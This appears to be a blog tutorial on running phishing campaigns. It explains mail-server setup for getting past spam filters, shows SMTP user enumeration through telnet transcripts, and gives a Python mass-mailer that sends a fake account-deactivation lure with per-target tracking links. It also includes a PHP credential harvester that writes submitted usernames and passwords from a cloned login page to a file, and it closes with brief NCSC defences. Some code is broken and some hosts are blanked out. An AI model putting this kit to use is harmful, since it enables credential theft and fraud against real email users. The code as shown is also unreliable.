Phishing attacks occur when an adversary sends messages (typically via email) purporting to be from a reputable source, in an attempt to coerce the target into divulging information such as usernames and passwords, or carrying out an action such as executing code.

Performing a Phishing attack is relatively trivial, and often highly effective.

Carrying out these attacks typically requires three things;

  • A list of target email addresses
  • An email account, or email server to send messages.
  • A web server to capture responses, or distribute malware

Due to the rise in spam email messages, most web hosting providers prevent sending outbound SMTP traffic by default. This leaves the following options for getting access to a mail server;

  • Use a bulk email delivery service such as Amazon SES. Note, that using such a service will likely be heavily monitored.
  • Find a hosting provider that does allow SMTP and configure an email server such as Postfix.
  • Use commercial email hosting, such as Office 365.

When configuring any of these options, you will want to make sure SPF and DKIM are configured correctly for your domain as they do weigh in on Anti-Spam decisions.

Note, that using any of these options is likely to violate the terms of service of the platform, even for legitimate user awareness training exercises.

Harvesting Email Addresses

There are a lot of tools that can be used to attempt to harvest email addresses, such as theHarvester which is included in Kali Linux. These tools typically rely on using search engines to identify email addresses. This has become less effective over time, as search engines aim to prevent this type of automated discovery.

Another method, which is often quite effective is querying the mail server directly using VRFY/EXPN/RCPT commands to determine if addresses exist;

host -t MX mail is handled by 20 mail is handled by 20
└─$ telnet 25
Connected to
Escape character is '^]'.
501 5.5.4 Domain name required
250 2.1.0 Sender ok
550 5.1.1 User Unknown                         
└─$ telnet 25
Connected to
Escape character is '^]'.
501 5.5.4 Domain name required
250 2.1.0 Sender ok
250 2.1.5 Recipient ok

These checks can be automated with smtp-user-enum in Kali.

Phishing with Python

For this demonstration, I’m using MailHog to simulate an email server. The following Python code just sends our email addresses a link to a malicious URL, containing an MD5 sum of the email address so we can track who clicked the link.

import smtplib, ssl
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import hashlib

def sendEmail(textMessage,htmlMessage,sender_email,receiver_email):
    message = MIMEMultipart("alternative")
    message["Subject"] = "Account Deactivation"
    message["From"] = sender_email
    message["To"] = receiver_email

    part1 = MIMEText(textMessage, "plain")
    part2 = MIMEText(htmlMessage, "html")

    with smtplib.SMTP("", 1025) as server:
        sender_email, receiver_email, message.as_string()

def main():
    sender_email = ""

    OriginalTextMessage = """
    Your account has been deactivated. If you think this was in error, please login to reactivate the account.


    Kind Regards,


    OriginalHtmlMessage = """
    <p>Hi TARGET_NAME,<br><br>
       Your account has been deactivated. If you think this was in error, please <a href="PHISHING_URL">login</a> to reactivate the account.<br>
       <br>Kind Regards,<br><br>

    targetsFile = open('targets.txt', 'r')
    targets = targetsFile.readlines()

    for target in targets:

        htmlMessage = OriginalHtmlMessage
        textMessage = OriginalTextMessage

        # Extract the recipient email and name
        receiver_name = target.split(",")[0].strip()
        receiver_email = target.split(",")[1].strip()

        # Generate an MD5 sum based on users email for tracking
        tracking = hashlib.md5(receiver_email.encode('ascii')).hexdigest()
        print(tracking + ":" + receiver_email + ":" + receiver_name)
        serverUrl = ""
        phishLink = serverUrl + tracking

        # Replace our phishing URL
        htmlMessage = htmlMessage.replace("PHISHING_URL", phishLink)
        textMessage = textMessage.replace("PHISHING_URL", phishLink)

        # Replace target name
        htmlMessage = htmlMessage.replace("TARGET_NAME", receiver_name)
        textMessage = textMessage.replace("TARGET_NAME", receiver_name)


if __name__ == "__main__":

The code just reads the contents of targets.txt;


Executing the code sends our malicious messages;


In the MailHog interface we can see the messages have been received;

An example of a received message;

Creating a Login Page

To create a realistic looking login page, normally the best bet is to use wget to clone an existing page. Copy this HTML to a local web server directory and intercept the POST request using BurpSuite to understand the parameters being submitted.
Once this is done, we can redirect the login page to a PHP file and log the results to disk;

   if( $_POST["session_key"] || $_POST["session_password"] ) {

      $myfile = fopen("login.txt", "a") or die("Unable to open file!");
      $txt = date("d/m/y h:i:sa") . " " . $_SERVER['HTTP_REFERER'] . " " . $_POST['session_key'] . " " . $_POST['session_password'] . "\n";
      fwrite($myfile, $txt);


Once the login is submitted, the results will be captured to our text file;

cat login.txt 
15/09/23 08:23:17pm Password123

Phishing Frameworks

There are a number of Phishing frameworks that can be used for user awareness training. The most popular of these is gophish. This can be installed in Kali with;

sudo apt install gophish

Using Phishing frameworks makes tracking large campaigns easier, however it’s still necessary to generate message templates.

Publicly available templates are available, although they are highly likely to be caught by spam filters, and often website branding changes which may make them less believable.

In Conclusion

NCSC have published guidance to prevent Phishing attacks. This essentially boils down to;

  • Implement SPF/DMARC/DKIM to make your domain more difficult to spoof
  • User awareness training
  • Implementing an effective email gateway filtering solution
  • Provide users with a mechanism to report suspected phishing attacks